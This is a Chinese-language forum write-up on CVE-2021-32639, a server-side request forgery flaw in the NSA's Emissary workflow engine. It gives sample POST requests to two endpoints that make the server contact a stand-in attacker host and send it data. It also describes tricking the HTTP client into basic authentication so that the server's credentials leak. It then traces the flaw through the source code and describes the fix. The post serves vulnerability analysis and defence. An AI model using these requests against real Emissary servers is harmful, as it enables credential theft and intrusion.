分析Emissary 的SSRF漏洞(CVE-2021-32639)
res0**** 漏洞分析 3477浏览 · 2021-08-18 11:42

简介

NSA的项目 Emissary 中文"密使".
地址是 https://github.com/NationalSecurityAgency/emissary

Emissary是一个基于P2P的数据驱动工作流引擎,运行在异构的、可能广泛分散的、多层的P2P计算资源网络中。
工作流行程不像传统的工作流引擎那样预先计划,而是随着数据的更多信息被发现而被确定(发现)。在Emissary工作流中通常没有用户交互,而是以面向目标的方式处理数据,直到它达到完成状态。

Emissary 是高度可配置的,但在这个"基本实现"(base implementation)中几乎什么都不做。
这个框架的用户应提供扩展emissary.place.ServiceProviderPlace 的类,以在 emissary.core.IBaseDataObject 有效负载上执行工作。

可以做各种各样的事情,工作流是分阶段管理的,例如:STUDY, ID, COORDINATE, TRANSFORM, ANALYZE, IO, REVIEW.

emissary.core.MobileAgent是负责指挥工作流的类、和从它派生的类,它们管理一组相关的负载对象的路径通过工作流。
通过工作流管理一组相关的"负载对象"(payload objects)的路径。

emissary.directory.DirectoryPlace 管理可用的"服务"(services)、它们的成本和质量,并保持 P2P 网络的连接。

参考https://securitylab.github.com/research/NSA-emissary/

SSRF漏洞(CVE-2021-32639) - 触发点 1

影响RegisterPeerActionREST 端点。
例如,以下请求将导致多个请求发送到攻击者控制的服务器 http://attacker:9999

POST /emissary/RegisterPeer.action? HTTP/1.1
Host: localhost:8001
Content-Type: application/x-www-form-urlencoded

directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace

需要注意的重要一点是,一些伪造的请求是未经身份验证的(不带凭证的), 发送到/emissary/Heartbeat.action端点的请求。

POST /emissary/Heartbeat.action HTTP/1.1
Content-Length: 180
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate

hbf=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace&hbt=http%3A%2F%2Fattacker:9999%2FDirectoryPlace

但是,也有经过身份验证的请求发送到/emissary/RegisterPeer.action这个endpoint上。

可发HTTP请求到攻击者控制的服务器上:

见targetDir参数的值.

POST /emissary/RegisterPeer.action HTTP/1.1
Content-Length: 196
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate

targetDir=http%3A%2F%2Fattacker:9999%2FDirectoryPlace&directoryName=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace

SSRF问题通常用于访问内部服务器或扫描内网,但在本例中,我想到了一个不同寻常的漏洞利用场景。由于SSRF问题之一是:导致Emissary使用的Apache HTTP客户端发送带有"摘要身份验证头"(a digest authentication header)的1个经过身份验证的请求,因此从理论上讲,我可以诱使客户端切换到"基本身份验证"(basic authentication),从而泄漏服务器凭证。

要使用 Apache HTTP 客户端发送经过身份验证的HTTP请求,需要在"凭据提供程序"(credentials provider)上设置凭据,然后配置 HTTP 客户端以使用该"凭据提供程序":

参考代码
https://github.com/NationalSecurityAgency/emissary/blob/79ca5608c4f77d9a5c8a4996e204377c158a6976/src/main/java/emissary/client/EmissaryClient.java#L107

您可以看到凭据从Jetty"用户领域"(user realm)读取,并用于连接到需要凭据的任何host和port。这些凭据在凭据提供者(CRED_PROV)中设置,该"凭据提供程序"(credential provider)稍后被配置为主Emissary客户端(CLIENT)的默认凭据提供程序。

配置没有指定应该使用什么身份验证方案,这使我相信身份验证方案是根据服务器response决定的。如果我礼貌地要求客户端使用"基本身份验证"(basic authentication),那么所有迹象都表明,服务器凭证将以明文(base64 encoded)形式发送。

我建立了一个请求基本身份验证的 Web 服务器,然后利用SSRF使Emissary服务器连接到我的恶意服务器。Emissary HTTP 客户端愉快地从"摘要身份验证"(digest authentication)切换到了基本身份验证,并将凭据发送给我。这是我的服务器的输出,显示了Emissary服务器凭据:

SSRF漏洞(CVE-2021-32639) - 触发点 1

参考 https://github.com/NationalSecurityAgency/emissary/blob/30c54ef16c6eb6ed09604a929939fb9f66868382/src/main/java/emissary/server/mvc/internal/AddChildDirectoryAction.java

类似地,AddChildDirectoryAction端点也容易受到SSRF的攻击。对/AddChildDirectory.action端点的POST请求,会发出额外请求,到攻击者控制的主机:

POST /emissary/AddChildDirectory.action HTTP/1.1
Host: localhost:8001
x-requested-by:
Content-Type: application/x-www-form-urlencoded

directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace

漏洞分析

参考 https://github.com/NationalSecurityAgency/emissary/blob/30c54ef16c6eb6ed09604a929939fb9f66868382/src/main/java/emissary/server/mvc/internal/RegisterPeerAction.java#L53

line 40 处理POST请求。

@POST
    @Path("/RegisterPeer.action")
    @Consumes(MediaType.APPLICATION_FORM_URLENCODED)
    @Produces(MediaType.APPLICATION_XML)
    public Response registerPeerPost(@FormParam(DIRECTORY_NAME) String directoryName, @FormParam(TARGET_DIRECTORY) String targetDirectory) {
        if (StringUtils.isBlank(directoryName) || StringUtils.isBlank(targetDirectory)) {
            return Response.serverError()
                    .entity("Bad Params: " + DIRECTORY_NAME + " - " + directoryName + ", " + TARGET_DIRECTORY + " - " + targetDirectory).build();
        }
        return processRegisterPeer(directoryName, targetDirectory);
    }

传入实参targetDirectoryprocessRegisterPeer方法。

跟进processRegisterPeer方法,看参数dirName

private Response processRegisterPeer(String peerKey, String dirName) {
        final IRemoteDirectory dir = new IRemoteDirectory.Lookup().getLocalDirectory(dirName);

查看IRemoteDirectory类,及方法getLocalDirectory的实现。

https://github.com/NationalSecurityAgency/emissary/blob/30c54ef16c6eb6ed09604a929939fb9f66868382/src/main/java/emissary/directory/IRemoteDirectory.java#L79

public IRemoteDirectory getLocalDirectory(final String name) {
            IDirectoryPlace dir = null;
            try {
                if (name != null) {
                    dir = (IDirectoryPlace) Namespace.lookup(name);
                } else {
                    dir = DirectoryPlace.lookup();
                }
            } catch (emissary.core.EmissaryException ex) {
                this.logger.debug("Could not find local directory " + name);
            }
...

line 83 执行了.lookup(name);

跟进可知会发出http请求。

修复与总结

除了修复SSRF问题之外。
NSA还通过仅允许使用"摘要身份验证方案"(digest authentication),来防止身份验证方法"混淆"(confusion)。见https://github.com/NationalSecurityAgency/emissary/commit/79ca5608c4f77d9a5c8a4996e204377c158a6976#diff-c988041bf4d686dbcce23218e54188558f0116513ff30d161d958482a7c5f1c4

这样一来,即便还有SSRF,也无法泄露凭证了。

0 条评论
某人
表情
可输入 255